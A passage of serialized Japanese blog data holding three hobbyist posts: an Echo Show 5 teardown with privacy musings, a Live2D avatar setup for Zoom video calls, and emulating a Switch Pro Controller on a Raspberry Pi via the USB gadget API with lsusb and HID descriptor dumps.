target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07KD87NCM&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\nAmazonが今年5月に予約販売を開始したディスプレイ付きスマートスピーカー「[Echo Show 5](https://www.amazon.co.jp/Echo-Show-5-%E3%82%A8%E3%82%B3%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%BC5-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E4%BB%98%E3%81%8D%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%82%B9%E3%83%94%E3%83%BC%E3%82%AB%E3%83%BC-with-Alexa-%E3%83%81%E3%83%A3%E3%82%B3%E3%83%BC%E3%83%AB/dp/B07KD87NCM/ref=as_li_ss_tl?ref_=nav_custrec_signin&&linkCode=ll1&tag=mzyy-22&linkId=3cfa7bd32e260d1de990bfcd9e68958d&language=ja_JP)」をご存知か。\nこれはAmazoが近年、力を入れているAlexaスマートプラットフォーム構想の一端を握るスマートスピーカーEchoシリーズのうち、5.5インチの小型ディスプレイを搭載したものである。\n\nこれまでのディスプレイつきEchoの国内ラインナップは少なく、このShow 5と、より小さな2.5インチの円形ディスプレイを搭載したEcho Spot、そして10.1インチの大型ディスプレイを搭載した[Echo Show(第二世代)](https://www.amazon.co.jp/Echo-Show-%E3%82%A8%E3%82%B3%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%BC-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E4%BB%98%E3%81%8D%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%82%B9%E3%83%94%E3%83%BC%E3%82%AB%E3%83%BC-with-Alexa-%E3%82%B5%E3%83%B3%E3%83%89%E3%82%B9%E3%83%88%E3%83%BC%E3%83%B3/dp/B0793DZCR6/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&keywords=echo+show&qid=1575653432&smid=AN1VRQENFRJN5&sr=8-2&linkCode=ll1&tag=mzyy-22&linkId=f2f7e2757185180e8814fde62f76b9e4&language=ja_JP)がある。ただ、Echo Spotは取り扱いが終了しているため、現時点ではShow 5とShow(第二世代)の2種類がディスプレイつきEchoとして販売されている。\nそんなEcho Show 5を、手始めに分解してみる。\n\n## 目次\n\n\n<img src=\"/assets/images/2019/12/07/IMG_1425.JPG\" alt=\"echo spot\" width=\"500px\" />\n\n\n## Alexaへの不信感\n\nこれらのAlexaデバイスは声でアプリや家電を操作でき便利な反面、プライバシーに関しては不透明な部分が多くある。\n音声操作の間の録音データをクラウド(Amazonのサーバー)にアップロードすることは利用規約にも書かれているが、声に限らず可能な音源を操作時以外にも収集していたという、まことしやかな話が流れてきたのだ。\n\n[Amazon.co.jp ヘルプ: Alexa利用規約](https://www.amazon.co.jp/gp/help/customer/display.html?nodeId=201809740)\n\nスマートスピーカー登場初期から、競合より有利な状態(音声認識能力や反応精度等)になるためのには盗聴器として動かした方が賢い。多くの学習用音声データに限らず、ユーザーの個人情報から趣味など、大変に多くのことを知ることができるかだ。故に、スマートスピーカーはクラウド事業者からしたらスマート盗聴器の他にないと考えていた。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">スマート盗聴器をみんな好んで買って家に設置するもんだからクラウド事業者はウハウハですよほんと</p>&mdash; ワンストップ申請 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/938470302010425344?ref_src=twsrc%5Etfw\">2017年12月7日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n案の定、噂段階だが盗聴器として用いられたとのニュースが今回世間を賑わせたのだ。そしてこの噂は技術的に可能である上に、ほとんどのスマートデバイスは暗号化されたネットワークでデータを送受信しているため、通信内容を精査できずに疑いを晴らすのは難しい。噂のソースは不明瞭だが、信憑性がゼロとは言い難い状況から、スマートスピーカーなんて使うものかと強い意志を固めることとなった。\n\n余談はここら辺にして、本題に入ろう。\n\n## Echo Show 5を自由に使う\n\n先に掲載したEcho Spotの取り扱い終了を示すスクリーンショットからも分かるように、スマートスピーカーなんて使うまいと言っていながら、Echo SpotとEcho Show 5を持っている。\nこれには理由があって、Alexaとして欲しかったのではなく、小さな小型ディスプレを備える魅力的な解析心をくすぐられるハードウェアとして購入した次第である。\n実際、これまでスマートスピーカーとしては使っておらず、開封後数十分で分解バラバラにしてきた。\n\n### 自由とは\n\nスマートスピーカーにおける自由な利用とは、先のような盗聴の危険がなく、自分の管理下における状態のことを指す。これを叶えるため、次から述べる取り組みを行なった。\n\n### Echo Show 5の周辺情報収集\n\n何事も先ずは情報収集から始める。\nEcho Show 5は、使われているプロセッサや対応無線方式などのハードウェア情報が、丁寧にもAmazonの販売ページに記載されている。\n\nここから得られるは、プロセッサにMediaTek MT 8163を採用し、Wi-Fi 5 の5GHz対応であるとの情報だ。\n\nそしてAmazonの開発者ページやGitHubを調べていくと、MediaTek MT 8163 を搭載するEcho Show 5のOSがFire OS 6であるという情報を集められる。\n\n- [Fireタブレットのデバイス仕様(カスタムテーブル) \\| Fireタブレット](https://developer.amazon.com/ja/docs/fire-tablets/ft-specs-custom.html)\n- [Fireタブレットのデバイス仕様(全一覧) \\| Fireタブレット](https://developer.amazon.com/ja/docs/fire-tablets/ft-device-and-feature-specifications.html)\n- [firefox-echo-show/device_reference.md at master · mozilla-mobile/firefox-echo-show · GitHub](https://github.com/mozilla-mobile/firefox-echo-show/blob/master/docs/device_reference.md)\n\nそしてこのFire OS 6とは、Android 7.1.2 Nougatをフォークとしたものを源流とし、Amazonデバイスに適した形に手を加えられているものである。\nAndroid搭載なので、いじりがいがありそう。しかしそんな簡単にいじられるようになってはいない。fastbootは使えても、一般権限では[adb](https://developer.android.com/studio/command-line/adb)は使えないようにしてあるのだ。\n\n- [Fire OSの概要 \\| Amazon Fire TV](https://developer.amazon.com/ja/docs/fire-tv/fire-os-overview.html)\n\n分解して高い権限を得られないかどうか、ハードウェアから探ってみることにした。\n\n## 分解\n\nザザーっと写真だけ\n滑り止めシートを剥がすとT6ネジが現れるので、簡単に開けられる。\nこういう電動ねじ回しだと楽に開けられた。\n\n<a href=\"https://www.amazon.co.jp/Xiaomi-Wowstick1F-%E7%B2%BE%E5%AF%86%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E3%83%BC%E3%82%BB%E3%83%83%E3%83%88-56%E7%A8%AE%E9%A1%9ES2%E3%83%93%E3%83%83%E3%83%88-%E3%83%9A%E3%83%B3%E5%9E%8B%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%A5%E3%83%BC%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E3%83%BC/dp/B07SSZX76W/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&keywords=wowstick&qid=1575653300&sr=8-6&linkCode=li2&tag=mzyy-22&linkId=fac5eba7de2252c3b2f85887a9346a15&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07SSZX76W&Format=_SL160_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| Xiaomi Wowstick1F+ 電動 精密ドライバーセット usb充電 ドライバー コードレス リチウム電池 小型 USB充電式 56種類S2ビット 正逆転可能 LED付 コードレス ペン型スクリュードライバー 携帯便利 精密製品修理 \\| インパクトドライバー](https://www.amazon.co.jp/Xiaomi-Wowstick1F-%E7%B2%BE%E5%AF%86%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E3%83%BC%E3%82%BB%E3%83%83%E3%83%88-56%E7%A8%AE%E9%A1%9ES2%E3%83%93%E3%83%83%E3%83%88-%E3%83%9A%E3%83%B3%E5%9E%8B%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%A5%E3%83%BC%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E3%83%BC/dp/B07SSZX76W/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&keywords=wowstick&qid=1575653300&sr=8-6&linkCode=ll1&tag=mzyy-22&linkId=396109fd68d27a00cf2165a91a7f27b9&language=ja_JP)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n-----\n\nいろいろな基板があらわになってかわいい。テストパッドくらいかな、ぱっと見でいじる道筋は。\nシールドの下へのアクセスや、フラッシュメモリへの直アクセスをしてadb有効化とかできないものか。\n解析には時間がかかる。趣味となると尚更時間がとれない。続きはいつになることやら。この前のセキュリティコンテストでのJailbreak手法とかもやりたいね。\n\n- [Zero Day Initiative — Pwn2Own Tokyo 2019 – Day One Results](https://www.zerodayinitiative.com/blog/2019/11/6/pwn2own-tokyo-2019-day-one-results)\n- [Zero Day Initiative — Diving Deep Into a Pwn2Own Winning WebKit Bug](https://www.zerodayinitiative.com/blog/2019/11/25/diving-deep-into-a-pwn2own-winning-webkit-bug)\n"]}],[0,{"slug":[0,"2020/02/25/virtual-bishoujo-meeting/"],"data":[0,{"title":[0,"リモートワークでバ美肉ビデオ会議"],"date":[3,"2020-02-25T13:30:00.000Z"],"image":[0,"/assets/images/2020/02/25/babiniku.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"XR"]]],"tags":[1,[[0,"oss"],[0,"ios"],[0,"arkit"],[0,"live2d"]]]}],"content":[0,"\n\nみなさん体調は大丈夫ですか?私は咳が止まらない毎日を送っています。医師の診断によるとただの風邪らしいです。\n巷では新型肺炎が流行しているようで、情勢を鑑み出社を禁止する会社もちらほら出てきている現状です。\n弊社も例に漏れず、状況によってリモートワークが推奨されることとなりました。\n\n処方された薬を飲み続けていて身体はすこぶる元気なものの、咳がまだ止まらないので最近はリモートワークの毎日です。\nズボラな私は、家から出ないと決めた日は寝起きのまま、髪はボサボサ、目は半開き、家庭用の微妙なデザインのメガネ。\nリモートワークなのだからソレくらいがちょうどいいんですが、社会はそんなに甘くありませんでした。\n\nビデオ会議の存在です。\n\n## 目次\n\n\n## ビデオ会議\n\nビデオ会議ではカメラを通して自分自身をメンバーに晒す必要があります。\nボサボサの髪・開ききらない目・クソダサメガネを備えた姿を、たとえ低画質のカメラを通したとしても人に見せるわけにはいきません。\nそのためには、現代のテクノロジーでなんとかできる方法を探るしかありません。\n\nバーチャル美少女受肉、通称 **バ美肉** です。\n\n## バ美肉\n\n[https://ja.wikipedia.org/wiki/バ美肉](https://ja.wikipedia.org/wiki/%E3%83%90%E7%BE%8E%E8%82%89)\n\nバ美肉がなんたるかはWikipediaで確認してもらうとして、バ美肉をどのようにするかを考えなければなりません。\nリモートワークでバ美肉の必要性を感じる人はちらほらいるようで、以下の記事でも実践していました。\n\n[これからのリモートワークの話をしよう|schemelisp|note](https://note.com/garbageable/n/nd50b9abdcb28)\n\n### FaceRig\n\n- [Steam:FaceRig](https://store.steampowered.com/app/274920/FaceRig/?l=japanese)\n- [Steam:FaceRig Live2D Module](https://store.steampowered.com/app/420680/FaceRig_Live2D_Module/?l=japanese)\n\n先ほどの記事にはFaceRigとLive2D Moduleを用いているとの記載があります。\nこれで受肉できる!と、考えたのも束の間、利用環境が全くもって合致しませんでした。\n\n業務で用いているのはMacBook Proで動かしているOSはmacOS Catalina。そもそもWindows向けに作られているFaceRigの起動すらできない環境です。\nそしてそこそこの計算資源が必要とあり、障壁はなかなかに高いものでした。\n\nさて、この解決策は使えないと知り、振り出しに戻ったかと思ったものの、FaceRig Live2D Moduleの説明に既視感のある文字列を見つけました。\n\n**Live2D Cubism**です。\n\n## ARKit-Live2D 2.0\n\niOS 11でARKitのAPIが提供され始めた時のこと、Face Trackingして[Live2D Cubism](https://www.live2d.com/)のパラメーターを操作するデモアプリを作った過去があります。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">iPhone X+ARKit+Live2Dがどんな感じに動くかのサンプル<br>(音声はPCで再生してるやつを録音したもの)<br>まだ表情のパラメーターは弄りがいがある感じ <a href=\"https://t.co/xNQZcQhsTY\">pic.twitter.com/xNQZcQhsTY</a></p>&mdash; 劇場版ハイスクール・フリート4DX (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/931228533166260225?ref_src=twsrc%5Etfw\">November 16, 2017</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nそうだこれを使えばいいんだ。FaceRigから遠回りしたものの、一つの解決策にたどり着きました。\n\nこれが今でもそのまま動けばよかったものの、最後の更新から2年以上の月日が経っていたり、利用しているLive2D Cubism 2.0の配布が終了していたりで今のiPhoneで動かすことはできませんでした。\n\nこの三連休は咳が酷くてずっと家にいたため、これを手直し、最新のLive2D Cubism 4.0への対応と新しいEye Trackingにも対応しました。バージョン2.0です。\n\n[mzyy94/ARKit-Live2D - GitHub](https://github.com/mzyy94/ARKit-Live2D)\n\n誰でも簡単に使えるようになっているので、READMEを読んで動かしてみてください。\n\nこんな感じで動きます\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">ビデオ会議風景 <a href=\"https://t.co/9jIyNgwBki\">pic.twitter.com/9jIyNgwBki</a></p>&mdash; 劇場版ハイスクール・フリート4DX (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1232523165131108354?ref_src=twsrc%5Etfw\">February 26, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nちょっとアップデートして背景色と位置の変更ができるようになりました。\n\n## macOSでiPhoneの画面表示\n\nさて、これでiPhoneでのバ美肉はできるようになりました。しかし、これだけではビデオ会議にこの映像を使うことはできません。\nMacでiPhoneに表示されてる映像を使えるようにする必要があります。\nここで考えられる方法は、以下の2つがあります。\n\n### QuickTimeでビデオ録画\n\n\nUSBで接続したiPhoneの画面をQuickTime Playerでプレビューする方法が、最も手軽にiPhoneの画面をmacOSに表示する手段です。これを画面共有するなどして、ビデオ会議に用いる方法がまず浮かびました。\n\n[QuickTime Player を使う方法 - Apple サポート](https://support.apple.com/ja-jp/HT201066#record)\n\nただ、遅延が大きいのと、計算資源を大きく消費することが気になります。\n\n### CoreMediaIO DAL\n\nmacOSに備わるフレームワークを用いてメディアデバイスを仮想的に作り上げる方法があります。CoreMediaIOです。\nQuickTimeの画面録画もこれを用いています。\n\n- [CoreMediaIO - Apple Developer Documentation Archive](https://developer.apple.com/library/archive/samplecode/CoreMediaIO/Introduction/Intro.html)\n- [508_camera_capture_manual_controls.pdf](http://devstreaming.apple.com/videos/wwdc/2014/508xxfvaehrll14/508/508_camera_capture_manual_controls.pdf)\n\nまず、このCoreMediaIOのDevice Abstraction Layer (DAL) を通して、仮想カメラをmacOSに作成し、iOSからの映像を受け取る算段を思いつきました。\nARKit-Live2Dは[ReplayKit](https://developer.apple.com/documentation/replaykit)に対応しているため、RTMP配信対応アプリを通して、以下のような流れが実現できるはずでした。\n\n```\niOS -> ReplayKit - RTMP -> macOS -> CoreMediaIO DAL -> Camera\n```\n\nただ、CoreMediaIO DALのサンプルコードが古いのと、Kernel Extensionのデバッグに難航してしまったので、仮想カメラを作るのは諦めました。\n\n### OBS + OBS Virtual Camera\n\nゲーム実況やYouTubeでの配信に用いられる、OBSという配信ソフトウェアがあります。\n\n[Open Broadcaster Software®️ \\| OBS](https://obsproject.com/ja)\n\nOBSでは映像や音声、テキストなど、複数の入力ソースを組み合わせて一つの動画を作り上げることができます。\nそれらの入力ソースの中に、映像キャプチャデバイスがあり、これによりiPhoneの画面出力をLightningケーブルで取り込むことができます。\nこれはCoreMediaIOを用いて実現しています。\n\n\n\nそしてOBSはプラグインシステムで拡張でき、[obs-mac-virtualcam](https://github.com/johnboiles/obs-mac-virtualcam)というプラグインを用いることで、作った動画を**仮想Webカメラ**として、他のアプリケーションに取り込むことができるのです。\n\n[johnboiles/obs-mac-virtualcam: Creates a virtual webcam device from the output of OBS. Especially useful for streaming smooth, composited video into Zoom, Hangouts, Jitsi etc. Like CatxFish/obs-virtualcam but for macOS.](https://github.com/johnboiles/obs-mac-virtualcam)\n\n\n```\niOS -> CoreMediaIO -> OBS -> CoreMediaIO DAL -> Camera\n```\n\n\n## Zoomビデオ会議\n\n弊社では、ビデオ会議には[Zoom](https://zoom.us/)を用いています。\n\nZoomは少し前まで仮想Webカメラからの映像入力ができないようになっていました。\nZoomバージョン5.0.4からホワイトリストで一部の仮想Webカメラが使えるようになり、バージョン5.1.1から全ての仮想Webカメラが使えるようになりました。\n\n[New updates for macOS – Zoom Help Center](https://support.zoom.us/hc/en-us/articles/201361963)\n\n\n\n\nOBSとobs-mac-virtualcamをインストール、そして、OBSで映像キャプチャデバイスを設定して動画を準備しツールメニューから\"Start Virtual Camera\"を選択すると、Zoomのカメラ一覧に\"OBS Virtual Camera\"が現れ、映像入力として使えるようになります。\n\n\n\n\n\nあとはこれでミーティングに参加すれば、バ美肉ビデオ会議が叶うこととなりました☺️\n\n\n\n声がおじさんのまま?よしなに頑張ってください。\n\n## まとめ\n\nWindowsでFaceRig+Live2D Module+OBSを用いてやるよりも、低負荷で実現できていそうな気がします。\n\nリモートワークでLet'sバ美肉。\n"]}],[0,{"slug":[0,"2020/03/20/nintendo-switch-pro-controller-usb-gadget/"],"data":[0,{"title":[0,"スマホでNintendo Switchを操作する 〜 USB GadgetでPro Controllerをシミュレート 〜"],"date":[3,"2020-03-19T16:50:00.000Z"],"image":[0,"/assets/images/2020/03/20/switch-remote-control.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Game"]]],"tags":[1,[[0,"nintendo"],[0,"switch"],[0,"usb"],[0,"hid"],[0,"usb-gadget"],[0,"sbc"]]]}],"content":[0,"\nあつまれ どうぶつの森の配信が開始されましたね。いくつか積みゲーが増え始めたNintendo Switchも、また新たにゲームが増えて稼働時間が伸びる一方です。\n\n物をよくなくす身として、ゲームがしたいときにコントローラーが見つからないことは日常茶飯事です。\nテレビやエアコンのリモコンもよく消えるので、スマートフォンから操作できるようにしています。スマート家電、文明の利器ですね。\nコントローラーが見つからないとき、スマートフォンから操作はできないのでゲームはお預けです。\n\n家電はスマホでスマートに操作できるのに、ゲームはレガシーなコントローラーを探さなきゃいけないなんて、なんてスマートじゃないのでしょう。\nどうぶつたちの住む無人島に到達できやしません。\n\nと言うことで、スマートフォンでNintendo Switchを操作出来るようにすべく奮闘した記録です。\n概要としては、Raspberry PiでNintendo Switch Pro Controllerをシミュレートし、Wi-Fi経由でスマホから操作する話です。\nちょっと分量が多いので読むのは大変かも。\n\n## 目次\n\n## Nintendo Switch Pro Controller\n\n言わずと知れた、任天堂純正のNintendo Switch向けワイヤレスコントローラーです。Nintendo Switch本体と比べても大柄なボディは手になじみ、疲れをあまり感じさせません。\nおちつきのあるダークな色合いが上品さを演出していますが、彩度が低いため、よく行方不明になります。\n\n[Amazon \\| 【任天堂純正品】Nintendo Switch Proコントローラー \\| ゲーム](https://www.amazon.co.jp/%E4%BB%BB%E5%A4%A9%E5%A0%82-Nintendo-Switch-Pro%E3%82%B3%E3%83%B3%E3%83%88%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC/dp/B01NCX3W3O/ref=as_li_ss_tl?ref_=nav_ya_signin&&linkCode=ll1&tag=mzyy-22&linkId=8042ff62f0a570bdd0ad6f41fac393dd&language=ja_JP)\n\n<a href=\"https://www.amazon.co.jp/%E4%BB%BB%E5%A4%A9%E5%A0%82-Nintendo-Switch-Pro%E3%82%B3%E3%83%B3%E3%83%88%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC/dp/B01NCX3W3O/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=%E3%82%B9%E3%82%A4%E3%83%83%E3%83%81+Pro+Controller&qid=1584556077&s=videogames&sr=1-3&linkCode=li3&tag=mzyy-22&linkId=d95f52eefae959908facac13d2cf9c08&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01NCX3W3O&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\nNintendo Switchは、このPro Controllerなど、任天堂製か公式ライセンス商品しかコントローラーとして認識してくれません。\n2017年の年末に没頭していたSplatoon 2で、自動ドット絵作画ツールを作った時も、公式ライセンス商品であるHORIのPokken Padをシミュレートして使っていました。\n\n::PostLink{slug=\"doitsu-no-ika\"}\n\nPokken Padは、先の記事の通りArduinoベースでのシミュレート実績もあるので比較的簡単にシミュレートできます。\nしかしジャイロやジョイスティックがないので、多くのゲームに対応しようとするには不向きです。\n\n今回はこのPro Controllerをなくしても大丈夫なように、シミュレートしていきます。\n\n### リバースエンジニアリング\n\nNintendo Switchに関するリバースエンジニアリングは発売から間も無くして賑わいをみせ、今では多くの情報がインターネットに流れています。\nその代表的なものとして、Nintendo_Switch_Reverse_Engineeringといった資料群がGitHubにあります。\n\n[dekuNukem/Nintendo_Switch_Reverse_Engineering: A look at inner workings of Joycon and Nintendo Switch](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering)\n\nここにはJoyconやPro Controller、そしてNintendo Switch本体のリバースエンジニアリングを行った結果がいくつか載っています。\nこれと共に、実際のNintendo SwitchにおけるPro Controllerの挙動を突き合わせれば、シミュレートすることができる算段です。\n\n## USB Gadget API\n\nUSB Gadget APIとは、Linux KernelにおけるUSBデバイスのペリフェラル、周辺機器側として動作する機能のことです。\n簡単に言うと、Raspberry Piがキーボードとかゲームパッドになるよってやつです。\nハードウェアのサポートも必要ですが、最近話題のRaspberry Pi 4や[昔紹介したNanoPi NEO2](../2017/2017-11-10-nanopineo2-homekit.md)などが対応しています。\n\n[USB Gadget API for Linux — The Linux Kernel documentation](https://www.kernel.org/doc/html/v4.19/driver-api/usb/gadget.html)\n\nUSB Gadgetを作成する方法としては、カーネルモジュールをロードする方法や、[configfs](https://www.kernel.org/doc/Documentation/filesystems/configfs/configfs.txt)を用いてファイルシステムベースで定義する方法があります。\n\nまた、上記ドキュメントに例として挙げられているように、以下のようなUSBデバイスをシミュレートできます。\n\n> - networking subsystem (for network gadgets, like the CDC Ethernet Model gadget driver)\n> - data capture drivers, perhaps video4Linux or a scanner driver; or test and measurement hardware.\n> - input subsystem (for HID gadgets)\n> - sound subsystem (for audio gadgets)\n> - file system (for PTP gadgets)\n> - block i/o subsystem (for usb-storage gadgets)\n> - ... and more\n\nこのうち、コントローラーなどは**input subsystem (for HID gadgets)**にあたり、USB HIDプロトコルをシミュレートする必要があります。\n裏を返せば、USB GadgetでPro ControllerのUSB HIDプロトコルをシミュレートできれば、技術的には問題は解決です。\n\n## USB HID\n\nUSB HIDプロトコルは、簡単にいえばキーボードやマウス、コントローラーなど、USB経由でやり取りする入力機器のデータのプロトコルを、**HID Report Descriptor**と言う定義情報を通して定義する物です。\n入力機器のデータのやり取りは、一般的なUSBデバイスと同じく、[USB Request Block (URB)](https://www.kernel.org/doc/html/v4.19/driver-api/usb/URB.html)で行い、それの各ビットが入力情報の何を指しているかを定義しています。\n\n定義はUsage itemと言う形で記され、そのUsage、すなわち用途については、以下のUSB-IFの公式ドキュメントに記載があります。\n実際にPro ControllerのHID Report Descriptorを調べたりしたとき、この情報は必要となってきます。\n\n[HID Usage Tables 1.12 \\| USB-IF](https://www.usb.org/document-library/hid-usage-tables-112)\n\n\n## 実装調査\n\nRaspbianで`lsusb`を用いてUSB Device decriptorを調査するところから始めます。\n\n```\npi@raspberrypi:~ $ uname -a\nLinux raspberrypi 4.19.97-v7l+ #1294 SMP Thu Jan 30 13:21:14 GMT 2020 armv7l GNU/Linux\n\npi@raspberrypi:~ $ lsusb\nBus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub\nBus 001 Device 003: ID 057e:2009 Nintendo Co., Ltd\nBus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub\nBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub\n\npi@raspberrypi:~ $ lsusb -d 057e: -v 2> /dev/null\nBus 001 Device 003: ID 057e:2009 Nintendo Co., Ltd\nDevice Descriptor:\n bLength 18\n bDescriptorType 1\n bcdUSB 2.00\n bDeviceClass 0\n bDeviceSubClass 0\n bDeviceProtocol 0\n bMaxPacketSize0 64\n idVendor 0x057e Nintendo Co., Ltd\n idProduct 0x2009\n bcdDevice 2.00\n iManufacturer 1 Nintendo Co., Ltd.\n iProduct 2 Pro Controller\n iSerial 3 000000000001\n bNumConfigurations 1\n Configuration Descriptor:\n bLength 9\n bDescriptorType 2\n wTotalLength 0x0029\n bNumInterfaces 1\n bConfigurationValue 1\n iConfiguration 0\n bmAttributes 0xa0\n (Bus Powered)\n Remote Wakeup\n MaxPower 500mA\n Interface Descriptor:\n bLength 9\n bDescriptorType 4\n bInterfaceNumber 0\n bAlternateSetting 0\n bNumEndpoints 2\n bInterfaceClass 3 Human Interface Device\n bInterfaceSubClass 0\n bInterfaceProtocol 0\n iInterface 0\n HID Device Descriptor:\n bLength 9\n bDescriptorType 33\n bcdHID 1.11\n bCountryCode 0 Not supported\n bNumDescriptors 1\n bDescriptorType 34 Report\n wDescriptorLength 203\n Report Descriptors:\n ** UNAVAILABLE **\n Endpoint Descriptor:\n bLength 7\n bDescriptorType 5\n bEndpointAddress 0x81 EP 1 IN\n bmAttributes 3\n Transfer Type Interrupt\n Synch Type None\n Usage Type Data\n wMaxPacketSize 0x0040 1x 64 bytes\n bInterval 8\n Endpoint Descriptor:\n bLength 7\n bDescriptorType 5\n bEndpointAddress 0x01 EP 1 OUT\n bmAttributes 3\n Transfer Type Interrupt\n Synch Type None\n Usage Type Data\n wMaxPacketSize 0x0040 1x 64 bytes\n bInterval 8\nDevice Status: 0x0001\n Self Powered\n```\n\n肝心な**HID Report Descriptor**は** UNAVAILABLE **となっていて、`lsusb`では取得できませんでした。そのため、`usbhid-dump`を用います。\n`usbhid-dump`は`sudo apt-get install -y hidrd`で入手できます。\n\n```\npi@raspberrypi:~ $ sudo usbhid-dump -d057e\n001:004:000:DESCRIPTOR 1583574828.992958\n 05 01 15 00 09 04 A1 01 85 30 05 01 05 09 19 01\n 29 0A 15 00 25 01 75 01 95 0A 55 00 65 00 81 02\n 05 09 19 0B 29 0E 15 00 25 01 75 01 95 04 81 02\n 75 01 95 02 81 03 0B 01 00 01 00 A1 00 0B 30 00\n 01 00 0B 31 00 01 00 0B 32 00 01 00 0B 35 00 01\n 00 15 00 27 FF FF 00 00 75 10 95 04 81 02 C0 0B\n 39 00 01 00 15 00 25 07 35 00 46 3B 01 65 14 75\n 04 95 01 81 02 05 09 19 0F 29 12 15 00 25 01 75\n 01 95 04 81 02 75 08 95 34 81 03 06 00 FF 85 21\n 09 01 75 08 95 3F 81 03 85 81 09 02 75 08 95 3F\n 81 03 85 01 09 03 75 08 95 3F 91 83 85 10 09 04\n 75 08 95 3F 91 83 85 80 09 05 75 08 95 3F 91 83\n 85 82 09 06 75 08 95 3F 91 83 C0\n```\n\n### USB GadgetでHIDシミュレート実験\n\nこの結果より、configfsを用いてUSB Gadgetを構成し、Pro Controllerをシミュレートします。\nconfigfsを用いたUSBデバイスのUSB Gadget APIでの実装方法は、Linuxの公式ドキュメントにて説明されています。\n\n[Linux USB gadget configured through configfs — The Linux Kernel documentation](https://www.kernel.org/doc/html/v5.3/usb/gadget_configfs.html)\n\nまた、HID Report Descriptorは`report_desc`に記すと以下のドキュメントにあります。\n\n[Linux USB HID gadget driver — The Linux Kernel documentation](https://www.kernel.org/doc/html/v5.3/usb/gadget_hid.html#configuration-with-configfs)\n\nこれらを参考にした以下のShell Scriptで、Raspberry PiをPro Controllerを模したUSB Gadgetにできます。\n\nRaspbianでは、dwc2モジュールをロードしておくため、/boot/config.txtに`dtoverlay=dwc2`を、/etc/modulesに`dwc2`と`libcomposite`を追記する必要があります。\n\n[firmware/README at 1.20200212 · raspberrypi/firmware](https://github.com/raspberrypi/firmware/blob/1.20200212/boot/overlays/README#L675-L683)\n\n<script src=\"https://gist.github.com/mzyy94/60ae253a45e2759451789a117c59acf9.js?file=add_procon_gadget.sh\"></script>\n\nRaspberry Pi 4をUSB 2.0 Type-CケーブルでmacOSにつなげた状態でこれを実行すると、以下のようにPro Controllerっぽく認識してくれます。\nそしてRaspberry Pi側には、**/dev/hidg0** といったスペシャルファイルが出来上がります。\n\n\n\nあとは、**/dev/hidg0** に書き込むデータを準備するまでです。\n\n## 挙動解析\n\n実際にコントローラーからどういったデータが送られているか、挙動をみてみるのが手っ取り早いので、さくっとみてみます。\n手元で動かしているMacBook ProとPro ControllerをUSB Type-Cケーブルで接続します。Pro⇄Pro。\n\nmacOSで手軽にコントローラーの挙動を調査する方法として、パッと思いついたのがHTML5の[Gamepad API](https://developer.mozilla.org/ja/docs/Web/API/Gamepad_API)。\nモダンブラウザではHTML5 APIの一つとしてGamepad APIをサポートしているので、[HTML5 Gamepad Tester](https://html5gamepad.com/)でみてみました。\n\n\n\nChromeではちゃんとGamepad APIで認識しているようです。\n\n### 通信内容\n\n一般的なUSB接続で、またまた一般的なURBでやり取りしているため、一般的なパケットキャプチャーソフトウェアでキャプチャできます。\n[Wireshark](https://www.wireshark.org/)の出番です。\n\nmacOSではいとも簡単にUSBデバイスキャプチャができるので、公式Wikiを参考に`sudo ifconfig XHC20 up`でXHCインターフェースを有効にし、XHC20インターフェースを対象にキャプチャしてみます。\n\n[CaptureSetup/USB - The 